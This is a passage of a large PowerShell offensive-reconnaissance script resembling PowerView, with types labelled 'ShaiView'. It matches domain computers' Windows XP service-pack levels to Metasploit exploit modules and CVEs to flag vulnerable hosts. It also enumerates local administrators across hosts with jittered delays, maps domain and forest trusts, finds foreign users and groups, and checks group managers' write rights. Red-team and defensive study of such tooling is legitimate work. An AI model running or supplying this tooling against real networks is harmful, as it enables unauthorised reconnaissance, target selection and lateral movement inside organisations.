8131 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8132 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
8133 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
8134 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8135 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8136 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8137 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
8138 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
8139 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8140 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8141 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8142 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
8143 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
8144 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
8145 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
8146 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
8147
8148
8149 Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..."
8150
8151
8152
8153
8154
8155
8156 $TableVulnComputers = New-Object System.Data.DataTable
8157 $Null = $TableVulnComputers.Columns.Add('ComputerName')
8158 $Null = $TableVulnComputers.Columns.Add('OperatingSystem')
8159 $Null = $TableVulnComputers.Columns.Add('ServicePack')
8160 $Null = $TableVulnComputers.Columns.Add('LastLogon')
8161 $Null = $TableVulnComputers.Columns.Add('MsfModule')
8162 $Null = $TableVulnComputers.Columns.Add('CVE')
8163
8164
8165 $TableExploits | ForEach-Object {
8166
8167 $ExploitOS = $_.OperatingSystem
8168 $ExploitSP = $_.ServicePack
8169 $ExploitMsf = $_.MsfModule
8170 $ExploitCVE = $_.CVE
8171
8172
8173 $TableAdsComputers | ForEach-Object {
8174
8175 $AdsHostname = $_.Hostname
8176 $AdsOS = $_.OperatingSystem
8177 $AdsSP = $_.ServicePack
8178 $AdsLast = $_.LastLogon
8179
8180
8181 if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) {
8182
8183 $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
8184 }
8185 }
8186 }
8187
8188
8189 $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
8190 $VulnComputerCount = $VulnComputer.Count
8191
8192 if ($VulnComputer.Count -gt 0) {
8193
8194 Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
8195 $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
8196 }
8197 else {
8198 Write-Verbose "[-] No vulnerable systems were found."
8199 }
8200}
8201
8202
8203function Invoke-EnumerateLocalAdmin {
8204
8205 [CmdletBinding()]
8206 param(
8207 [Parameter(Position=0,ValueFromPipeline=$True)]
8208 [Alias('Hosts')]
8209 [String[]]
8210 $ComputerName,
8211
8212 [ValidateScript({Test-Path -Path $_ })]
8213 [Alias('HostList')]
8214 [String]
8215 $ComputerFile,
8216
8217 [String]
8218 $ComputerFilter,
8219
8220 [String]
8221 $ComputerADSpath,
8222
8223 [Switch]
8224 $NoPing,
8225
8226 [UInt32]
8227 $Delay = 0,
8228
8229 [Double]
8230 $Jitter = .3,
8231
8232 [String]
8233 $OutFile,
8234
8235 [Switch]
8236 $NoClobber,
8237
8238 [Switch]
8239 $TrustGroups,
8240
8241 [Switch]
8242 $DomainOnly,
8243
8244 [String]
8245 $Domain,
8246
8247 [String]
8248 $DomainController,
8249
8250 [Switch]
8251 $SearchForest,
8252
8253 [ValidateRange(1,100)]
8254 [Int]
8255 $Threads,
8256
8257 [Switch]
8258 $API
8259 )
8260
8261 begin {
8262 if ($PSBoundParameters['Debug']) {
8263 $DebugPreference = 'Continue'
8264 }
8265
8266
8267 $RandNo = New-Object System.Random
8268
8269 Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay"
8270
8271
8272 if($ComputerFile) {
8273 $ComputerName = Get-Content -Path $ComputerFile
8274 }
8275
8276 if(!$ComputerName) {
8277 [array]$ComputerName = @()
8278
8279 if($Domain) {
8280 $TargetDomains = @($Domain)
8281 }
8282 elseif($SearchForest) {
8283
8284 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
8285 }
8286 else {
8287
8288 $TargetDomains = @( (Get-NetDomain).name )
8289 }
8290
8291 ForEach ($Domain in $TargetDomains) {
8292 Write-Verbose "[*] Querying domain $Domain for hosts"
8293 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
8294 }
8295
8296
8297 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
8298 if($($ComputerName.Count) -eq 0) {
8299 throw "No hosts found!"
8300 }
8301 }
8302
8303
8304 if(!$NoClobber) {
8305 if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
8306 }
8307
8308 if($TrustGroups) {
8309
8310 Write-Verbose "Determining domain trust groups"
8311
8312
8313 $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique
8314
8315 $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object {
8316
8317
8318 Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid }
8319 }
8320
8321
8322 $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
8323 }
8324
8325
8326 $HostEnumBlock = {
8327 param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
8328
8329
8330 $Up = $True
8331 if($Ping) {
8332 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
8333 }
8334 if($Up) {
8335
8336 if($API) {
8337 $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API
8338 }
8339 else {
8340 $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
8341 }
8342
8343
8344 if($DomainSID) {
8345
8346 $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$"
8347 Write-Verbose "LocalSid for $ComputerName : $LocalSID"
8348
8349
8350 $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }
8351 }
8352
8353 if($DomainOnly) {
8354 $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}
8355 }
8356
8357 if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {
8358
8359 if($OutFile) {
8360 $LocalAdmins | Export-ShaiViewCSV -OutFile $OutFile
8361 }
8362 else {
8363
8364 $LocalAdmins
8365 }
8366 }
8367 else {
8368 Write-Verbose "[!] No users returned from $ComputerName"
8369 }
8370 }
8371 }
8372 }
8373
8374 process {
8375
8376 if($Threads) {
8377 Write-Verbose "Using threading with threads = $Threads"
8378
8379
8380 $ScriptParams = @{
8381 'Ping' = $(-not $NoPing)
8382 'OutFile' = $OutFile
8383 'DomainSID' = $DomainSID
8384 'TrustGroupsSIDs' = $TrustGroupsSIDs
8385 }
8386
8387
8388 if($API) {
8389 $ScriptParams['API'] = $True
8390 }
8391
8392 if($DomainOnly) {
8393 $ScriptParams['DomainOnly'] = $True
8394 }
8395
8396 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
8397 }
8398
8399 else {
8400 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
8401
8402 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
8403 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
8404 }
8405
8406 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
8407 $Counter = 0
8408
8409 ForEach ($Computer in $ComputerName) {
8410
8411 $Counter = $Counter + 1
8412
8413
8414 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
8415 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
8416
8417 $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)
8418
8419 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs
8420 }
8421 }
8422 }
8423}
8424
8425
8426
8427
8428
8429
8430
8431
8432function Get-NetDomainTrust {
8433
8434 [CmdletBinding()]
8435 param(
8436 [Parameter(Position=0, ValueFromPipeline=$True)]
8437 [String]
8438 $Domain,
8439
8440 [String]
8441 $DomainController,
8442
8443 [String]
8444 $ADSpath,
8445
8446 [Switch]
8447 $API,
8448
8449 [Switch]
8450 $LDAP,
8451
8452 [ValidateRange(1,10000)]
8453 [Int]
8454 $PageSize = 200,
8455
8456 [Management.Automation.PSCredential]
8457 $Credential
8458 )
8459
8460 begin {
8461 $TrustAttributes = @{
8462 [uint32]'0x00000001' = 'non_transitive'
8463 [uint32]'0x00000002' = 'uplevel_only'
8464 [uint32]'0x00000004' = 'quarantined_domain'
8465 [uint32]'0x00000008' = 'forest_transitive'
8466 [uint32]'0x00000010' = 'cross_organization'
8467 [uint32]'0x00000020' = 'within_forest'
8468 [uint32]'0x00000040' = 'treat_as_external'
8469 [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
8470 [uint32]'0x00000100' = 'trust_uses_aes_keys'
8471 [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
8472 [uint32]'0x00000400' = 'pim_trust'
8473 }
8474 }
8475
8476 process {
8477
8478 if(-not $Domain) {
8479
8480 $SourceDomain = (Get-NetDomain -Credential $Credential).Name
8481 }
8482 else {
8483 $SourceDomain = $Domain
8484 }
8485
8486 if($LDAP -or $ADSPath) {
8487
8488 $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath
8489
8490 $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController
8491
8492 if($TrustSearcher) {
8493
8494 $TrustSearcher.Filter = '(objectClass=trustedDomain)'
8495
8496 $Results = $TrustSearcher.FindAll()
8497 $Results | Where-Object {$_} | ForEach-Object {
8498 $Props = $_.Properties
8499 $DomainTrust = New-Object PSObject
8500
8501 $TrustAttrib = @()
8502 $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
8503
8504 $Direction = Switch ($Props.trustdirection) {
8505 0 { 'Disabled' }
8506 1 { 'Inbound' }
8507 2 { 'Outbound' }
8508 3 { 'Bidirectional' }
8509 }
8510 $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
8511 $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
8512 $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
8513 $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
8514 $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
8515 $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
8516 $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
8517 $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
8518 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
8519 $DomainTrust.PSObject.TypeNames.Add('ShaiView.DomainTrustLDAP')
8520 $DomainTrust
8521 }
8522 $Results.dispose()
8523 $TrustSearcher.dispose()
8524 }
8525 }
8526 elseif($API) {
8527 if(-not $DomainController) {
8528 $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
8529 }
8530
8531 if($DomainController) {
8532
8533 $PtrInfo = [IntPtr]::Zero
8534
8535
8536 $Flags = 63
8537 $DomainCount = 0
8538
8539
8540 $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
8541
8542
8543 $Offset = $PtrInfo.ToInt64()
8544
8545
8546 if (($Result -eq 0) -and ($Offset -gt 0)) {
8547
8548
8549 $Increment = $DS_DOMAIN_TRUSTS::GetSize()
8550
8551
8552 for ($i = 0; ($i -lt $DomainCount); $i++) {
8553
8554 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
8555 $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
8556
8557 $Offset = $NewIntPtr.ToInt64()
8558 $Offset += $Increment
8559
8560 $SidString = ""
8561 $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
8562
8563 if($Result -eq 0) {
8564 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
8565 }
8566 else {
8567 $DomainTrust = New-Object PSObject
8568 $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
8569 $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
8570 $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
8571 $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
8572 $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
8573 $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
8574 $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
8575 $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
8576 $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
8577 $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
8578 $DomainTrust.PSObject.TypeNames.Add('ShaiView.APIDomainTrust')
8579 $DomainTrust
8580 }
8581 }
8582
8583 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
8584 }
8585 else {
8586 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
8587 }
8588 }
8589 else {
8590 Write-Verbose "Could not retrieve domain controller for $Domain"
8591 }
8592 }
8593 else {
8594
8595 $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
8596 if($FoundDomain) {
8597 $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
8598 $_.PSObject.TypeNames.Add('ShaiView.DomainTrust')
8599 $_
8600 }
8601 }
8602 }
8603 }
8604}
8605
8606
8607function Get-NetForestTrust {
8608
8609 [CmdletBinding()]
8610 param(
8611 [Parameter(Position=0,ValueFromPipeline=$True)]
8612 [String]
8613 $Forest,
8614
8615 [Management.Automation.PSCredential]
8616 $Credential
8617 )
8618
8619 process {
8620 $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
8621
8622 if($FoundForest) {
8623 $FoundForest.GetAllTrustRelationships() | ForEach-Object {
8624 $_.PSObject.TypeNames.Add('ShaiView.ForestTrust')
8625 $_
8626 }
8627 }
8628 }
8629}
8630
8631
8632function Find-ForeignUser {
8633
8634
8635 [CmdletBinding()]
8636 param(
8637 [String]
8638 $UserName,
8639
8640 [String]
8641 $Domain,
8642
8643 [String]
8644 $DomainController,
8645
8646 [Switch]
8647 $LDAP,
8648
8649 [Switch]
8650 $Recurse,
8651
8652 [ValidateRange(1,10000)]
8653 [Int]
8654 $PageSize = 200
8655 )
8656
8657 function Get-ForeignUser {
8658
8659 param(
8660 [String]
8661 $UserName,
8662
8663 [String]
8664 $Domain,
8665
8666 [String]
8667 $DomainController,
8668
8669 [ValidateRange(1,10000)]
8670 [Int]
8671 $PageSize = 200
8672 )
8673
8674 if ($Domain) {
8675
8676 $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
8677 }
8678 else {
8679 $DistinguishedDomainName = [String] ([adsi]'').distinguishedname
8680 $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
8681 }
8682
8683 Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
8684 ForEach ($Membership in $_.memberof) {
8685 $Index = $Membership.IndexOf("DC=")
8686 if($Index) {
8687
8688 $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
8689
8690 if ($GroupDomain.CompareTo($Domain)) {
8691
8692 $GroupName = $Membership.split(",")[0].split("=")[1]
8693 $ForeignUser = New-Object PSObject
8694 $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
8695 $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
8696 $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
8697 $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
8698 $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
8699 $ForeignUser
8700 }
8701 }
8702 }
8703 }
8704 }
8705
8706 if ($Recurse) {
8707
8708 if($LDAP -or $DomainController) {
8709 $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
8710 }
8711 else {
8712 $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
8713 }
8714
8715 ForEach($DomainTrust in $DomainTrusts) {
8716
8717 Write-Verbose "Enumerating trust groups in domain $DomainTrust"
8718 Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
8719 }
8720 }
8721 else {
8722 Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
8723 }
8724}
8725
8726
8727function Find-ForeignGroup {
8728
8729 [CmdletBinding()]
8730 param(
8731 [String]
8732 $GroupName = '*',
8733
8734 [String]
8735 $Domain,
8736
8737 [String]
8738 $DomainController,
8739
8740 [Switch]
8741 $LDAP,
8742
8743 [Switch]
8744 $Recurse,
8745
8746 [ValidateRange(1,10000)]
8747 [Int]
8748 $PageSize = 200
8749 )
8750
8751 function Get-ForeignGroup {
8752 param(
8753 [String]
8754 $GroupName = '*',
8755
8756 [String]
8757 $Domain,
8758
8759 [String]
8760 $DomainController,
8761
8762 [ValidateRange(1,10000)]
8763 [Int]
8764 $PageSize = 200
8765 )
8766
8767 if(-not $Domain) {
8768 $Domain = (Get-NetDomain).Name
8769 }
8770
8771 $DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
8772 Write-Verbose "DomainDN: $DomainDN"
8773
8774
8775 $ExcludeGroups = @("Users", "Domain Users", "Guests")
8776
8777
8778 Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
8779
8780 -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
8781
8782 $GroupName = $_.samAccountName
8783
8784 $_.member | ForEach-Object {
8785
8786
8787 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {
8788
8789 $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
8790 $UserName = $_.split(",")[0].split("=")[1]
8791
8792 $ForeignGroupUser = New-Object PSObject
8793 $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
8794 $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
8795 $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
8796 $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
8797 $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
8798 $ForeignGroupUser
8799 }
8800 }
8801 }
8802 }
8803
8804 if ($Recurse) {
8805
8806 if($LDAP -or $DomainController) {
8807 $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
8808 }
8809 else {
8810 $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
8811 }
8812
8813 ForEach($DomainTrust in $DomainTrusts) {
8814
8815 Write-Verbose "Enumerating trust groups in domain $DomainTrust"
8816 Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
8817 }
8818 }
8819 else {
8820 Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
8821 }
8822}
8823
8824
8825function Find-ManagedSecurityGroups {
8826
8827
8828
8829 Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
8830
8831
8832 $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
8833
8834
8835 $results_object = New-Object -TypeName PSObject -Property @{
8836 'GroupCN' = $_.cn
8837 'GroupDN' = $_.distinguishedname
8838 'ManagerCN' = $group_manager.cn
8839 'ManagerDN' = $group_manager.distinguishedName
8840 'ManagerSAN' = $group_manager.samaccountname
8841 'ManagerType' = ''
8842 'CanManagerWrite' = $FALSE
8843 }
8844
8845
8846 if ($group_manager.samaccounttype -eq 0x10000000) {
8847 $results_object.ManagerType = 'Group'
8848 } elseif ($group_manager.samaccounttype -eq 0x30000000) {
8849 $results_object.ManagerType = 'User'
8850 }
8851
8852
8853 $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
8854
8855
8856 if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
8857 $results_object.CanManagerWrite = $TRUE
8858 }
8859 $results_object
8860 }
8861}
8862
8863
8864function Invoke-MapDomainTrust {
8865 [CmdletBinding()]
8866 param(
8867 [Switch]
8868 $LDAP,
8869
8870 [String]
8871 $DomainController,
8872
8873 [ValidateRange(1,10000)]
8874 [Int]
8875 $PageSize = 200,
8876
8877 [Management.Automation.PSCredential]
8878 $Credential
8879 )
8880
8881
8882 $SeenDomains = @{}
8883
8884
8885 $Domains = New-Object System.Collections.Stack
8886
8887
8888 $CurrentDomain = (Get-NetDomain -Credential $Credential).Name
8889 $Domains.push($CurrentDomain)
8890
8891 while($Domains.Count -ne 0) {
8892
8893 $Domain = $Domains.Pop()
8894
8895
8896 if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
8897
8898 Write-Verbose "Enumerating trusts for domain '$Domain'"
8899
8900
8901 $Null = $SeenDomains.add($Domain, "")
8902
8903 try {
8904
8905 if($LDAP -or $DomainController) {
8906 $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
8907 }
8908 else {
8909 $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
8910 }
8911
8912 if($Trusts -isnot [System.Array]) {
8913 $Trusts = @($Trusts)
8914 }
8915
8916
8917 if(-not ($LDAP -or $DomainController) ) {
8918 $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential
8919 }
8920
8921 if ($Trusts) {
8922 if($Trusts -isnot [System.Array]) {
8923 $Trusts = @($Trusts)
8924 }
8925
8926
8927 ForEach ($Trust in $Trusts) {
8928 if($Trust.SourceName -and $Trust.TargetName) {
8929 $SourceDomain = $Trust.SourceName
8930 $TargetDomain = $Trust.TargetName
8931 $TrustType = $Trust.TrustType
8932 $TrustDirection = $Trust.TrustDirection
8933 $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'ShaiView'} | Select-Object -First 1
8934
8935
8936 $Null = $Domains.Push($TargetDomain)
8937
8938
8939 $DomainTrust = New-Object PSObject
8940 $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
8941 $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
8942 $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
8943 $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
8944 $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
8945 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
8946 $DomainTrust.PSObject.TypeNames.Add($ObjectType)
8947 $DomainTrust
8948 }
8949 }
8950 }
8951 }
8952 catch {
8953 Write-Verbose "[!] Error: $_"
8954 }
8955 }
8956 }
8957}
8958
8959
8960
8961
8962
8963
8964
8965
8966
8967
8968
8969$Mod = New-InMemoryModule -ModuleName Win32
8970
8971
8972$FunctionDefinitions = @(
8973 (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8974 (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8975 (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8976 (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
8977 (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
8978 (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
8979 (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
8980 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
8981 (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
8982 (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
8983 (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
8984 (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
8985 (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
8986 (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
8987 (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
8988 (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
8989)
8990
8991
8992$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
8993 Active = 0
8994 Connected = 1
8995 ConnectQuery = 2
8996 Shadow = 3
8997 Disconnected = 4
8998 Idle = 5
8999 Listen = 6
9000 Reset = 7
9001 Down = 8
9002 Init = 9
9003}
9004
9005
9006$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
9007 ExecEnvId = field 0 UInt32
9008 State = field 1 $WTSConnectState
9009 SessionId = field 2 UInt32
9010 pSessionName = field 3 String -MarshalAs @('LPWStr')
9011 pHostName = field 4 String -MarshalAs @('LPWStr')
9012 pUserName = field 5 String -MarshalAs @('LPWStr')
9013 pDomainName = field 6 String -MarshalAs @('LPWStr')
9014 pFarmName = field 7 String -MarshalAs @('LPWStr')
9015}
9016
9017
9018$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
9019 AddressFamily = field 0 UInt32
9020 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
9021}
9022
9023
9024$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
9025 shi1_netname = field 0 String -MarshalAs @('LPWStr')
9026 shi1_type = field 1 UInt32
9027 shi1_remark = field 2 String -MarshalAs @('LPWStr')
9028}
9029
9030
9031$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
9032 wkui1_username = field 0 String -MarshalAs @('LPWStr')
